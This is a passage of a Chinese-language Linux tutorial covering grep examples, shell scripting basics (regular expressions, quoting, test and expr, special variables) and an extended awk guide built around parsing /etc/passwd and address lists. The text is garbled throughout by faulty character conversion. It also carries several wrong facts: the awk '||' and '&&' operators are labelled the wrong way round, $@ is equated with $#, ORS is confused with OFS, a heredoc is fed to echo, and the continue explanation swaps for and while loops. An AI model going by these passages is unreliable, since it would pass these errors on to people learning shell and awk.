linuxmint

[root@localhost test]#

說明:

實例10:輸出以hat結尾的行內容

命令:

cat test.txt |grep hat$

輸出:

[root@localhost test]# cat test.txt |grep hat$

redhat

Redhat

[root@localhost test]#

說明:

實例11:輸出ip地址

命令:

     ifconfig eth0|grep -E "([0-9]{1,3}\.){3}[0-9]"

輸出:

[root@localhost test]# ifconfig eth0|grep "[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}"

          inet addr:192.168.120.204  Bcast:192.168.120.255  Mask:255.255.255.0

[root@localhost test]# ifconfig eth0|grep -E "([0-9]{1,3}\.){3}[0-9]"

          inet addr:192.168.120.204  Bcast:192.168.120.255  Mask:255.255.255.0

[root@localhost test]#

說明:

實例12:顯示包含ed或者at字符的內容行

命令:

cat test.txt |grep -E "ed|at"

輸出:

[root@localhost test]# cat test.txt |grep -E "peida|com"

peida.cnblogs.com

[root@localhost test]# cat test.txt |grep -E "ed|at"

redhat

Redhat

[root@localhost test]#

說明:

實例13:顯示當前目錄下面以.txt 結尾的文件中的全部包含每一個字符串至少有7個連續小寫字符的字符串的行

命令:

grep '[a-z]\{7\}' *.txt

輸出:

[root@localhost test]# grep '[a-z]\{7\}' *.txt

test.txt:hnlinux

test.txt:peida.cnblogs.com

test.txt:linuxmint

[root@localhost test]#

 

實例14:日誌文件過大,很差查看,咱們要從中查看本身想要的內容,或者獲得同一類數據,好比說沒有404日誌信息的

命令:

grep '.' access1.log|grep -Ev '404' > access2.log

grep '.' access1.log|grep -Ev '(404|/photo/|/css/)' > access2.log

grep '.' access1.log|grep -E '404' > access2.log

輸出:

[root@localhost test]# grep 「.」access1.log|grep -Ev 「404」 > access2.log

說明:上面3句命令前面兩句是在當前目錄下對access1.log文件進行查找,找到那些不包含404的行,把它們放到access2.log中,後面去掉’v’,便是把有404的行放入access2.log

 

Shell腳本編程的常識

(這些每每是常常用到,可是各類網絡上的材料都語焉不詳的東西,我的認爲比較有用)

七種文件類型

d            目錄                                                       l             符號連接

s             套接字文件                                           b            塊設備文件

c            字符設備文件                                       p            命名管道文件

-             普通文件

正則表達式

從一個文件或命令輸出中抽取或過濾文本時。可以使用正則表達式(RE),正則表達式是一些特殊或不很特殊的字符串模式的集合。

       基本的元字符集:

       ^                   只匹配行首。

       $                   只匹配行尾。

       *                   一個單字符後緊跟*,匹配0個或多個此單字符。

       []                   匹配[]內字符,能夠是一個單字符,也能夠是字符序列。能夠使

              用-來表示[]內範圍,如[1-5]等價於[1,2,3,4,5]。

\                    屏蔽一個元字符的特殊含義,如\$表示字符$,而不表示匹配行

                    尾。

       .                 匹配任意單字符。

       pattern\{n\}   匹配pattern出現的次數n

       pattern\{n,\}m匹配pattern出現的次數,但表示次數最少爲n

       pattern\{n,m\} 匹配pattern出現的次數在n與m之間(n,m爲0-255)

幾個常見的例子:

       顯示可執行的文件:ls –l | grep …x...x..x

       只顯示文件夾:ls –l | grep  ^d

       匹配全部的空行:^$

       匹配全部的單詞:[A-Z a-z]*

       匹配任一非字母型字符:[^A-Z a-z]

       包含八個字符的行:^……..$(8個.)

字符類描述

如下是可用字符類的至關完整的列表:

[:alnum:] 字母數字 [a-z A-Z 0-9]

[:alpha:] 字母 [a-z A-Z]

[:blank:] 空格或製表鍵

[:cntrl:] 任何控制字符

[:digit:] 數字 [0-9]

[:graph:] 任何可視字符(無空格)

[:lower:] 小寫 [a-z]

[:print:] 非控制字符

[:punct:] 標點字符

[:space:] 空格

[:upper:] 大寫 [A-Z]

[:xdigit:] 十六進制數字 [0-9 a-f A-F]

儘量使用字符類是頗有利的,由於它們能夠更好地適應非英語 locale(包括某些必需的重音字符等等).

shell的引號類型

shell共有四種引用類型:

       「 」          雙引號

       ‘ ’           單引號

` `         反引號

\            反斜線

l        「 」 可引用除$、` 、\ 、外的任意字符或字符串,「 」中的變量可以正常顯示變量值。

l        ‘ ’與「 」相似,不一樣在於shell會忽略任何的引用值。

              例如: GIRL=‘girl’

                        echo 「The ‘$GIRL’ did well」

              則打印:The ‘girl’ did well

l        ` `用於設置系統命令的輸出到變量,shell會將` `中的內容做爲一個系統命令並執行質。

              例如:echo `date` 則打印當前的系統時間。

l        \ 用來屏蔽特殊含義的字符:&  *  +  ^  $  `  「  |  ?

例如:expr 12 \* 12 將輸出144

變量設置時的不一樣模式:

valiable_name=value           設置實際值到 variable_name中

valiable_name+value           若是設置了variable_name,則重設其值

valiable_name:?value           若是未設置variable_name,則先顯示未定義用戶錯誤信息

valiable_name?value           若是未設置variable_name,則顯示系統錯誤信息

valiable_name:=value   若是未設置variable_name,則設置其值

valiable_name-value            同上,但取值並不設置到variable_name

條件測試

test命令用於測試字符串、文件狀態和數字,expr測試和執行數值輸出。

Test格式:test condition 或 [ condition ](須要特別注意的是condition的兩邊都要有一個空格,不然會報錯),test命令返回0表示成功。

l        下面將分別描述test的三種測試:

n        文件狀態測試(經常使用的)

-d           測試是否文件夾

-f            測試是否通常文件

-L          測試是否連接文件

-r           測試文件是否可讀

-w         測試文件是否可寫

-x           測試文件是否可執行

-s           測試文件是否非空

n        字符串測試

五種格式: test  「string」

                            test  string_operator  「string」

                            test  「string」  string_operator  「string」

                            [ string_operator  「string」 ]

                            [ 「string」  string_operator  「string」 ]

其中string_operator能夠爲:       =     兩字符串相等

                                                               !=    兩字符串不等

                                                               -z   空串

                                                               -n   非空串

n        數值測試

兩種格式: 「number」  number_operator  「number」

                            [ 「number」  number_operator  「number」 ]

其中:number_operator 能夠爲:-eq  、-ne、-gt、-lt、-ge

例如:  NUMBER=130

                     [ 「990」  –le  「995」  –a  「NUMBER」  -gt  「133」 ]

                     (其中-a表示先後結果相「與」)

l        expr命令通常用於整數值,但也能夠用於字符串。

n        格式:  expr srgument operator operator argument

例如:  expr 10 + 10

              expr 10 ^ 2 (10的平方)

              expr $value + 10

n        增量計數――expr在循環中最基本的用法

例如:  LOOP=0

              LOOP=`expr $LOOP + 1`

n        模式匹配:經過指定的冒號選項計算字符串中的字符數

例如:  value=account.doc

              expr $value : `\(.*\).doc`

              輸出 account

命令執行順序

&&               成功執行一個命令後再執行下一個

||                    一個命令執行失敗後再執行另外一個命令

( )                  在當前shell中執行一組命令(格式:(命令1;命令2; ……))

{ }                同( )

       例如:  comet mouth_end || ( echo 「hello」 | mail dave ;exit )

             若是沒有( ),則shell將直接執行最後一個命令(exit)

腳本調試

最有用的調試腳本的工具是echo命令,能夠隨時打印有關變量或操做的信息,以幫助定位錯誤。也可以使用打印最後狀態($?) 命令來判斷命令是否成功,這時要注意的是要在執行完要測試的命令後當即輸出$?,不然$?將會改變。

Set命令也能夠用來輔助腳本測試:

Set –n           讀命令可是不執行

Set –v           顯示讀取的全部的行

Set –x           顯示全部的命令及其參數

(要關閉set選項,只要把-換成+就能夠了,這裏有點特殊,要注意一下)

一些經常使用的小trick

打印一些頭信息

command  <<  dilimiter

……

……

dilimiter

以分界符號dilimiter中的內容做爲命令的標準輸入

       經常使用在echo命令中,這樣就避免了沒輸出一行就要使用一個echo命令,同時,輸出格式的調整也相應變得簡單了。

       例如:  echo << something_message

************************************************

                                         hello, welcome to use my shell script

************************************************

                something_message

將在屏幕上輸出:

************************************************

                                         hello, welcome to use my shell script

************************************************

1、利用<<的分解符號性質還能夠自動選擇菜單或實現自動的ftp傳輸

也就是利用分解符號的性質自動選擇菜單。

例如: ./menu_choose >>output_file 2>&1 <<Choose

             2

             3

             Y

             Choose

             則自動在執行腳本的過程當中一步步做出選擇:2,3,Y

<<這種性質決定了它是理想的訪問數據庫的有用工具,能夠用它來輸入面對數據庫提示時所做的各類選擇。

建立一個長度爲0的空文件

執行 > file_name 命令或 touch file_name 命令。

一些經常使用的shell變量

$#          傳遞到腳本的參數個數

$*          以一個單字符串顯示全部向腳本傳遞的參數(可大於9個)

$$          腳本運行的當前進程的ID號

$!           後臺運行的最後一個進程的ID號

$@        與$#相同,但使用時加引號,並在引號中返回每一個參數

$-           顯示shell使用的當前選項

$?                 顯示最後命令的退出狀態,0表示無錯誤(這個變量也經常用來打印輸出,在腳本調試時標記某個shell命令或某個函數是否正確執行,可是要注意,$?記載的是最近的函數或命令的退出狀態,所以打印時應該當即打印以得到正確的信息)

$0的使用

在變量中有一種位置變量$n,用來存放函數調用或腳本執行時傳入的參數,其中$0表示函數名或腳本名,須要注意的是,這時的腳本名傳遞的是包含全路徑的腳本名。從$1-$9表示傳入的第一到第九個參數,這樣的參數表示不能多於九個,若是多於九個,能夠使用下面將要提到的shift指令來讀取。

由於$0存放函數名或腳本名,所以咱們能夠經過echo $0來輸出調用信息,可是,因爲存放的是全路徑名,咱們能夠利用一個shell命令來獲得腳本名,basename $0 將獲得$0中名字的部分,而與之相反的,dirname $0將獲得$0中路徑的部分。

Shift的運用

用head或tail指令指定查閱的行數

例如:查閱文件前20行:  head –20 file_name

             查閱文件後10行: tail –10 file_name

awk使用規則

awk 是一種很棒的語言。awk 適合於文本處理和報表生成,它還有許多精心設計的特性,容許進行須要特殊技巧程序設計。與某些語言不一樣,awk 的語法較爲常見。它借鑑了某些語言的一些精華部分,如 C 語言、python 和 bash(雖然在技術上,awk 比 python 和 bash 早建立)。awk 是那種一旦學會了就會成爲您戰略編碼庫的主要部分的語言。

第一個 awk

讓咱們繼續,開始使用 awk,以瞭解其工做原理。在命令行中輸入如下命令:

$ awk '{ print }' /etc/passwd

您將會見到 /etc/passwd 文件的內容出如今眼前。如今,解釋 awk 作了些什麼。調用 awk 時,咱們指定 /etc/passwd 做爲輸入文件。執行 awk 時,它依次對 /etc/passwd 中的每一行執行 print 命令。全部輸出都發送到 stdout,所獲得的結果與與執行catting /etc/passwd徹底相同。

如今,解釋 { print } 代碼塊。在 awk 中,花括號用於將幾塊代碼組合到一塊兒,這一點相似於 C 語言。在代碼塊中只有一條 print 命令。在 awk 中,若是隻出現 print 命令,那麼將打印當前行的所有內容。

       這裏是另外一個 awk 示例,它的做用與上例徹底相同:

              $ awk '{ print $0 }' /etc/passwd

在 awk 中,$0 變量表示整個當前行,因此 print 和 print $0 的做用徹底同樣。

若是您願意,能夠建立一個 awk 程序,讓它輸出與輸入數據徹底無關的數據。如下是一個示例:

$ awk '{ print "" }' /etc/passwd

只要將 "" 字符串傳遞給 print 命令,它就會打印空白行。若是測試該腳本,將會發現對於 /etc/passwd 文件中的每一行,awk 都輸出一個空白行。再次說明, awk 對輸入文件中的每一行都執行這個腳本。如下是另外一個示例:

$ awk '{ print "hiya" }' /etc/passwd

運行這個腳本將在您的屏幕上寫滿 hiya。:)

多個字段

awk 很是善於處理分紅多個邏輯字段的文本,並且讓您能夠絕不費力地引用 awk 腳本中每一個獨立的字段。如下腳本將打印出您的系統上全部用戶賬戶的列表:

$ awk -F":" '{ print $1 }' /etc/passwd

上例中,在調用 awk 時,使用 -F 選項來指定 ":" 做爲字段分隔符。awk 處理 print $1 命令時,它會打印出在輸入文件中每一行中出現的第一個字段。如下是另外一個示例:

$ awk -F":" '{ print $1 $3 }' /etc/passwd

如下是該腳本輸出的摘錄:

halt7

operator11

root0

shutdown6

sync5

bin1

....etc.

如您所見,awk 打印出 /etc/passwd 文件的第一和第三個字段,它們正好分別是用戶名和用戶標識字段。如今,當腳本運行時,它並不理想 -- 在兩個輸出字段之間沒有空格!若是習慣於使用 bash 或 python 進行編程,那麼您會期望 print $1 $3 命令在兩個字段之間插入空格。然而,當兩個字符串在 awk 程序中彼此相鄰時,awk 會鏈接它們但不在它們之間添加空格。如下命令會在這兩個字段中插入空格:

$ awk -F":" '{ print $1 " " $3 }' /etc/passwd

以這種方式調用 print 時,它將鏈接 $一、" " 和 $3,建立可讀的輸出。固然,若是須要的話,咱們還能夠插入一些文本標籤:

$ awk -F":" '{ print "username: " $1 "\t\tuid:" $3" }' /etc/passwd

這將產生如下輸出:

username: halt          uid:7

username: operator      uid:11

username: root          uid:0

username: shutdown      uid:6

username: sync          uid:5

username: bin           uid:1

....etc.

外部腳本

將腳本做爲命令行自變量傳遞給 awk 對於小的單行程序來講是很是簡單的,而對於多行程序,它就比較複雜。您確定想要在外部文件中撰寫腳本。而後能夠向 awk 傳遞 -f 選項,以向它提供此腳本文件:

$ awk -f myscript.awk myfile.in

將腳本放入文本文件還可讓您使用附加 awk 功能。例如,這個多行腳本與前面的單行腳本的做用相同,它們都打印出 /etc/passwd 中每一行的第一個字段:

BEGIN {

                 FS=":"

}

{ print $1 }

這兩個方法的差異在於如何設置字段分隔符。在這個腳本中,字段分隔符在代碼自身中指定(經過設置 FS 變量),而在前一個示例中,經過在命令行上向 awk 傳遞 -F":" 選項來設置 FS。一般,最好在腳本自身中設置字段分隔符,只是由於這表示您能夠少輸入一個命令行自變量。咱們將在本文的後面詳細討論 FS 變量。

BEGIN 和 END 塊

一般,對於每一個輸入行,awk 都會執行每一個腳本代碼塊一次。然而,在許多編程狀況中,可能須要在 awk 開始處理輸入文件中的文本以前執行初始化代碼。對於這種狀況,awk 容許您定義一個 BEGIN 塊。咱們在前一個示例中使用了 BEGIN 塊。由於 awk 在開始處理輸入文件以前會執行 BEGIN 塊,所以它是初始化 FS(字段分隔符)變量、打印頁眉或初始化其它在程序中之後會引用的全局變量的極佳位置。

awk 還提供了另外一個特殊塊,叫做 END 塊。awk 在處理了輸入文件中的全部行以後執行這個塊。一般,END 塊用於執行最終計算或打印應該出如今輸出流結尾的摘要信息。

規則表達式和塊

awk 容許使用規則表達式,根據規則表達式是否匹配當前行來選擇執行獨立代碼塊。如下示例腳本只輸出包含字符序列 foo 的那些行:

/foo/ { print }

固然,能夠使用更復雜的規則表達式。如下腳本將只打印包含浮點數的行:

/[0-9]+\.[0-9]*/ { print }

還有許多其它方法能夠選擇執行代碼塊。咱們能夠將任意一種布爾表達式放在一個代碼塊以前,以控制什麼時候執行某特定塊。僅當對前面的布爾表達式求值爲真時,awk 才執行代碼塊。如下示例腳本輸出將輸出其第一個字段等於 fred 的全部行中的第三個字段。若是當前行的第一個字段不等於 fred,awk 將繼續處理文件而不對當前行執行 print 語句:

$1 == "fred" { print $3 }

awk 提供了完整的比較運算符集合,包括 "=="、"<"、">"、"<="、">=" 和 "!="。另外,awk 還提供了 "~" 和 "!~" 運算符,它們分別表示「匹配」和「不匹配」。它們的用法是在運算符左邊指定變量,在右邊指定規則表達式。若是某一行的第五個字段包含字符序列 root,那麼如下示例將只打印這一行中的第三個字段:

$5 ~ /root/ { print $3 }

條件語句

awk 還提供了很是好的相似於 C 語言的 if 語句。若是您願意,能夠使用 if 語句重寫前一個腳本:

{

                 if ( $5 ~ /root/ ) {

                    print $3

                 }

}

這兩個腳本的功能徹底同樣。第一個示例中,布爾表達式放在代碼塊外面。而在第二個示例中,將對每個輸入行執行代碼塊,並且咱們使用 if 語句來選擇執行 print 命令。這兩個方法均可以使用,能夠選擇最適合腳本其它部分的一種方法。

如下是更復雜的 awk if 語句示例。能夠看到,儘管使用了複雜、嵌套的條件語句,if 語句看上去仍與相應的 C 語言 if 語句同樣:

{

                 if ( $1 == "foo" ) {

                    if ( $2 == "foo" ) {

                       print "uno"

                    } else {

                       print "one"

                    }

                 } else if ($1 == "bar" ) {

                    print "two"

                 } else {

                    print "three"

                 }

}

使用 if 語句還能夠將代碼:

! /matchme/ { print $1 $3 $4 }

轉換成:

{  

                 if ( $0 !~ /matchme/ ) {

                    print $1 $3 $4

                 }

}

這兩個腳本都只輸出不包含 matchme 字符序列的那些行。此外,還能夠選擇最適合您的代碼的方法。它們的功能徹底相同。

awk 還容許使用布爾運算符 "||"(邏輯與)和 "&&"(邏輯或),以便建立更復雜的布爾表達式:

( $1 == "foo" ) && ( $2 == "bar" ) { print }

這個示例只打印第一個字段等於 foo 且第二個字段等於 bar 的那些行。

數值變量

至今,咱們不是打印字符串、整行就是特定字段。然而,awk 還容許咱們執行整數和浮點運算。經過使用數學表達式,能夠很方便地編寫計算文件中空白行數量的腳本。如下就是這樣一個腳本:

              BEGIN   { x=0 }

/^$/    { x=x+1 }

END     { print "I found " x " blank lines. :}" }

在 BEGIN 塊中,將整數變量 x 初始化成零。而後,awk 每次遇到空白行時,awk 將執行 x=x+1 語句,遞增 x。處理完全部行以後,執行 END 塊,awk 將打印出最終摘要,指出它找到的空白行數量。

字符串化變量

awk 的優勢之一就是「簡單和字符串化」。我認爲 awk 變量「字符串化」是由於全部 awk 變量在內部都是按字符串形式存儲的。同時,awk 變量是「簡單的」,由於能夠對它執行數學操做,且只要變量包含有效數字字符串,awk 會自動處理字符串到數字的轉換步驟。要理解個人觀點,請研究如下這個示例:

x="1.01"

# We just set x to contain the *string* "1.01"

x=x+1

# We just added one to a *string*

print x

# Incidentally, these are comments :)

awk 將輸出:

              2.01

有趣吧!雖然將字符串值 1.01 賦值給變量 x,咱們仍然能夠對它加一。但在 bash 和 python 中卻不能這樣作。首先,bash 不支持浮點運算。並且,若是 bash 有「字符串化」變量,它們並不「簡單」;要執行任何數學操做,bash 要求咱們將數字放到醜陋的 $( ) ) 結構中。若是使用 python,則必須在對 1.01 字符串執行任何數學運算以前,將它轉換成浮點值。雖然這並不困難,但它還是附加的步驟。若是使用 awk,它是全自動的,而那會使咱們的代碼又好又整潔。若是想要對每一個輸入行的第一個字段乘方並加一,能夠使用如下腳本:

{ print ($1^2)+1 }

若是作一個小實驗,就能夠發現若是某個特定變量不包含有效數字,awk 在對數學表達式求值時會將該變量看成數字零處理。

衆多運算符

awk 的另外一個優勢是它有完整的數學運算符集合。除了標準的加、減、乘、除,awk 還容許使用前面演示過的指數運算符 "^"、模(餘數)運算符 "%" 和其它許多從 C 語言中借入的易於使用的賦值操做符。

這些運算符包括先後加減(i++、--foo)、加/減/乘/除賦值運算符( a+=三、b*=二、c/=2.二、d-=6.2)。不只如此 -- 咱們還有易於使用的模/指數賦值運算符(a^=二、b%=4)。

字段分隔符

awk 有它本身的特殊變量集合。其中一些容許調整 awk 的運行方式,而其它變量能夠被讀取以收集關於輸入的有用信息。咱們已經接觸過這些特殊變量中的一個,FS。前面已經提到過,這個變量讓您能夠設置 awk 要查找的字段之間的字符序列。咱們使用 /etc/passwd 做爲輸入時,將 FS 設置成 ":"。當這樣作有問題時,咱們還能夠更靈活地使用 FS。

FS 值並無被限制爲單一字符;能夠經過指定任意長度的字符模式,將它設置成規則表達式。若是正在處理由一個或多個 tab 分隔的字段,您可能但願按如下方式設置 FS:

FS="\t+"

以上示例中,咱們使用特殊 "+" 規則表達式字符,它表示「一個或多個前一字符」。

若是字段由空格分隔(一個或多個空格或 tab),您可能想要將 FS 設置成如下規則表達式:

FS="[[:space:]+]"

這個賦值表達式也有問題,它並不是必要。爲何?由於缺省狀況下,FS 設置成單一空格字符,awk 將這解釋成表示「一個或多個空格或 tab」。在這個特殊示例中,缺省 FS 設置偏偏是您最想要的!

複雜的規則表達式也不成問題。即便您的記錄由單詞 "foo" 分隔,後面跟着三個數字,如下規則表達式仍容許對數據進行正確的分析:

FS="foo[0-9][0-9][0-9]"

字段數量

接着咱們要討論的兩個變量一般並非須要賦值的,而是用來讀取以獲取關於輸入的有用信息。第一個是 NF 變量,也叫作「字段數量」變量。awk 會自動將該變量設置成當前記錄中的字段數量。能夠使用 NF 變量來只顯示某些輸入行:

NF == 3 { print "this particular record has three fields: " $0 }

固然,也能夠在條件語句中使用 NF 變量,以下:

{  

                 if ( NF > 2 ) {

                    print $1 " " $2 ":" $3

                 }

}

記錄號

記錄號 (NR) 是另外一個方便的變量。它始終包含當前記錄的編號(awk 將第一個記錄算做記錄號 1)。迄今爲止,咱們已經處理了每一行包含一個記錄的輸入文件。對於這些狀況,NR 還會告訴您當前行號。然而,當咱們在本系列之後部分中開始處理多行記錄時,就不會再有這種狀況,因此要注意!能夠象使用 NF 變量同樣使用 NR 來只打印某些輸入行:

(NR < 10 ) || (NR > 100) { print "We are on record number 1-9 or 101+" }

另外一個示例:

{

                 #skip header

                 if ( NR > 10 ) {

                    print "ok, now for the real information!"

                 }

}

awk 提供了適合各類用途的附加變量。咱們將在之後的文章中討論這些變量。

多行記錄

awk 是一種用於讀取和處理結構化數據(如系統的 /etc/passwd 文件)的極佳工具。/etc/passwd 是 UNIX 用戶數據庫,而且是用冒號定界的文本文件,它包含許多重要信息,包括全部現有用戶賬戶和用戶標識,以及其它信息。在個人前一篇文章中,我演示了 awk 如何輕鬆地分析這個文件。咱們只須將 FS(字段分隔符)變量設置成 ":"。

正確設置了 FS 變量以後,就能夠將 awk 配置成分析幾乎任何類型的結構化數據,只要這些數據是每行一個記錄。然而,若是要分析佔據多行的記錄,僅僅依靠設置 FS 是不夠的。在這些狀況下,咱們還須要修改 RS 記錄分隔符變量。RS 變量告訴 awk 當前記錄何時結束,新記錄何時開始。

譬如,讓咱們討論一下如何完成處理「聯邦證人保護計劃」所涉及人員的地址列表的任務:

Jimmy the Weasel

100 Pleasant Drive

San Francisco, CA 12345

Big Tony

200 Incognito Ave.

Suburbia, WA 67890

理論上,咱們但願 awk 將每 3 行看做是一個獨立的記錄,而不是三個獨立的記錄。若是 awk 將地址的第一行看做是第一個字段 ($1),街道地址看做是第二個字段 ($2),城市、州和郵政編碼看做是第三個字段 $3,那麼這個代碼就會變得很簡單。如下就是咱們想要獲得的代碼:

BEGIN {

                     FS="\n"

                     RS=""

}

在上面這段代碼中,將 FS 設置成 "\n" 告訴 awk 每一個字段都佔據一行。經過將 RS 設置成 "",還會告訴 awk 每一個地址記錄都由空白行分隔。一旦 awk 知道是如何格式化輸入的,它就能夠爲咱們執行全部分析工做,腳本的其他部分很簡單。讓咱們研究一個完整的腳本,它將分析這個地址列表,並將每一個記錄打印在一行上,用逗號分隔每一個字段。

address.awk BEGIN {

                     FS="\n"

                     RS=""

}

{

                     print $1 ", " $2 ", " $3

}

若是這個腳本保存爲 address.awk,地址數據存儲在文件 address.txt 中,能夠經過輸入 "awk -f address.awk address.txt" 來執行這個腳本。此代碼將產生如下輸出:

Jimmy the Weasel, 100 Pleasant Drive, San Francisco, CA 12345

Big Tony, 200 Incognito Ave., Suburbia, WA 67890

OFS 和 ORS

在 address.awk 的 print 語句中,能夠看到 awk 會鏈接(合併)一行中彼此相鄰的字符串。咱們使用此功能在同一行上的三個字段之間插入一個逗號和空格 (", ")。這個方法雖然有用,但比較難看。與其在字段間插入 ", " 字符串,倒不如讓經過設置一個特殊 awk 變量 OFS,讓 awk 完成這件事。請參考下面這個代碼片段。

print "Hello", "there", "Jim!"

這行代碼中的逗號並非實際文字字符串的一部分。事實上,它們告訴 awk "Hello"、"there" 和 "Jim!" 是單獨的字段,而且應該在每一個字符串之間打印 OFS 變量。缺省狀況下,awk 產生如下輸出:

Hello there Jim!

這是缺省狀況下的輸出結果,OFS 被設置成 " ",單個空格。不過,咱們能夠方便地從新定義 OFS,這樣 awk 將插入咱們中意的字段分隔符。如下是原始 address.awk 程序的修訂版,它使用 OFS 來輸出那些中間的 ", " 字符串:

address.awk 的修訂版 BEGIN {

                     FS="\n"

                     RS=""

                     OFS=", "

}

{

                     print $1, $2, $3

}

       awk 還有一個特殊變量 ORS,全稱是「輸出記錄分隔符」。經過設置缺省爲換行 ("\n") 的 OFS,咱們能夠控制在 print 語句結尾自動打印的字符。缺省 ORS 值會使 awk 在新行中輸出每一個新的 print 語句。若是想使輸出的間隔翻倍,能夠將 ORS 設置成 "\n\n"。或者,若是想要用單個空格分隔記錄(而不換行),將 ORS 設置成 " "。

將多行轉換成用 tab 分隔的格式

假設咱們編寫了一個腳本,它將地址列表轉換成每一個記錄一行,且用 tab 定界的格式,以便導入電子表格。使用稍加修改的 address.awk 以後,就能夠清楚地看到這個程序只適合於三行的地址。若是 awk 遇到如下地址,將丟掉第四行,而且不打印該行:

Cousin Vinnie

Vinnie's Auto Shop

300 City Alley

Sosueme, OR 76543

要處理這種狀況,代碼最好考慮每一個字段的記錄數量,並依次打印每一個記錄。如今,代碼只打印地址的前三個字段。如下就是咱們想要的一些代碼:

適合具備任意多字段的地址的 address.awk 版本 BEGIN {

                 FS="\n"

                 RS=""

                 ORS=""

}

             { 

             x=1

             while ( x<NF ) {

print $x "\t"

              x++

             }

             print $NF "\n"

}

首先,將字段分隔符 FS 設置成 "\n",將記錄分隔符 RS 設置成 "",這樣 awk 能夠象之前同樣正確分析多行地址。而後,將輸出記錄分隔符 ORS 設置成 "",它將使 print 語句在每一個調用結尾不輸出新行。這意味着若是但願任何文本重新的一行開始,那麼須要明確寫入 print "\n"。

在主代碼塊中,建立了一個變量 x 來存儲正在處理的當前字段的編號。起初,它被設置成 1。而後,咱們使用 while 循環(一種 awk 循環結構,等同於 C 語言中的 while 循環),對於全部記錄(最後一個記錄除外)重複打印記錄和 tab 字符。最後,打印最後一個記錄和換行;此外,因爲將 ORS 設置成 "",print 將不輸出換行。程序輸出以下,這正是咱們所指望的(不算漂亮,但用 tab 定界,以便於導入電子表格):

Jimmy the Weasel        100 Pleasant Drive      San Francisco, CA 12345

Big Tony        200 Incognito Ave.      Suburbia, WA 67890

Cousin Vinnie   Vinnie's Auto Shop      300 City Alley  Sosueme, OR 76543

循環結構

咱們已經看到了 awk 的 while 循環結構,它等同於相應的 C 語言 while 循環。awk 還有 "do...while" 循環,它在代碼塊結尾處對條件求值,而不象標準 while 循環那樣在開始處求值。它相似於其它語言中的 "repeat...until" 循環。如下是一個示例:

do...while 示例 {

                     count=1

                     do {

                            print "I get printed at least once no matter what"

                     } while ( count != 1 )

}

與通常的 while 循環不一樣,因爲在代碼塊以後對條件求值,"do...while" 循環永遠都至少執行一次。換句話說,當第一次遇到普通 while 循環時,若是條件爲假,將永遠不執行該循環。

for 循環

awk 容許建立 for 循環,它就象 while 循環,也等同於 C 語言的 for 循環:

for ( initial assignment; comparison; increment ) {

                     code block

}

如下是一個簡短示例:

for ( x = 1; x <= 4; x++ ) {

                     print "iteration",x

}

此段代碼將打印:

iteration 1

iteration 2

iteration 3

iteration 4

break 和 continue

此外,如同 C 語言同樣,awk 提供了 break 和 continue 語句。使用這些語句能夠更好地控制 awk 的循環結構。如下是迫切須要 break 語句的代碼片段:

while 死循環 while (1) {

                     print "forever and ever..."

}

由於 1 永遠表明是真,這個 while 循環將永遠運行下去。如下是一個只執行十次的循環:

break 語句示例 x=1

while(1) {

                     print "iteration",x

                     if ( x == 10 ) {

                     break

                     }

                     x++

}

這裏,break 語句用於「逃出」最深層的循環。"break" 使循環當即終止,並繼續執行循環代碼塊後面的語句。

continue 語句補充了 break,其做用以下:

x=1

while (1) {

                     if ( x == 4 ) {

                            x++

                            continue

                     }

                     print "iteration",x

                     if ( x > 20 ) {

                            break

                     }

                     x++

}

這段代碼打印 "iteration 1" 到 "iteration 21","iteration 4" 除外。若是迭代等於 4,則增長 x 並調用 continue 語句,該語句當即使 awk 開始執行下一個循環迭代,而不執行代碼塊的其他部分。如同 break 同樣,continue 語句適合各類 awk 迭代循環。在 for 循環主體中使用時,continue 將使循環控制變量自動增長。如下是一個等價循環:

for ( x=1; x<=21; x++ ) {

                     if ( x == 4 ) {

                            continue

                     }

                     print "iteration",x

}

在 while 循環中時,在調用 continue 以前沒有必要增長 x,由於 for 循環會自動增長 x。

數組

若是您知道 awk 能夠使用數組,您必定會感到高興。然而,在 awk 中,數組下標一般從 1 開始,而不是 0:

myarray[1]="jim"

myarray[2]=456

awk 遇到第一個賦值語句時,它將建立 myarray,並將元素 myarray[1] 設置成 "jim"。執行了第二個賦值語句後,數組就有兩個元素了。

數組迭代

定義以後,awk 有一個便利的機制來迭代數組元素,以下所示:

for ( x in myarray ) {

                     print myarray[x]

}

這段代碼將打印數組 myarray 中的每個元素。當對於 for 使用這種特殊的 "in" 形式時,awk 將 myarray 的每一個現有下標依次賦值給 x(循環控制變量),每次賦值之後都循環一次循環代碼。雖然這是一個很是方便的 awk 功能,但它有一個缺點 -- 當 awk 在數組下標之間輪轉時,它不會依照任何特定的順序。那就意味着咱們不能知道以上代碼的輸出是:

jim

456

仍是:

456

jim

套用 Forrest Gump 的話來講,迭代數組內容就像一盒巧克力 -- 您永遠不知道將會獲得什麼。所以有必要使 awk 數組「字符串化」,咱們如今就來研究這個問題。

數組下標字符串化

在個人前一篇文章中,我演示了 awk 實際上以字符串格式來存儲數字值。雖然 awk 要執行必要的轉換來完成這項工做,但它卻能夠使用某些看起來很奇怪的代碼:

a="1"

b="2"

c=a+b+3

執行了這段代碼後,c 等於 6。因爲 awk 是「字符串化」的,添加字符串 "1" 和 "2" 在功能上並不比添加數字 1 和 2 難。這兩種狀況下,awk 均可以成功執行運算。awk 的「字符串化」性質很是可愛 -- 您可能想要知道若是使用數組的字符串下標會發生什麼狀況。例如,使用如下代碼:

myarr["1"]="Mr. Whipple"

print myarr["1"]

能夠預料,這段代碼將打印 "Mr. Whipple"。但若是去掉第二個 "1" 下標中的引號,狀況又會怎樣呢?

myarr["1"]="Mr. Whipple"

print myarr[1]

猜測這個代碼片段的結果比較難。awk 將 myarr["1"] 和 myarr[1] 看做數組的兩個獨立元素,仍是它們是指同一個元素?答案是它們指的是同一個元素,awk 將打印 "Mr. Whipple",如同第一個代碼片段同樣。雖然看上去可能有點怪,但 awk 在幕後卻一直使用數組的字符串下標!

瞭解了這個奇怪的真相以後,咱們中的一些人可能想要執行相似於如下的古怪代碼:

myarr["name"]="Mr. Whipple"

print myarr["name"]

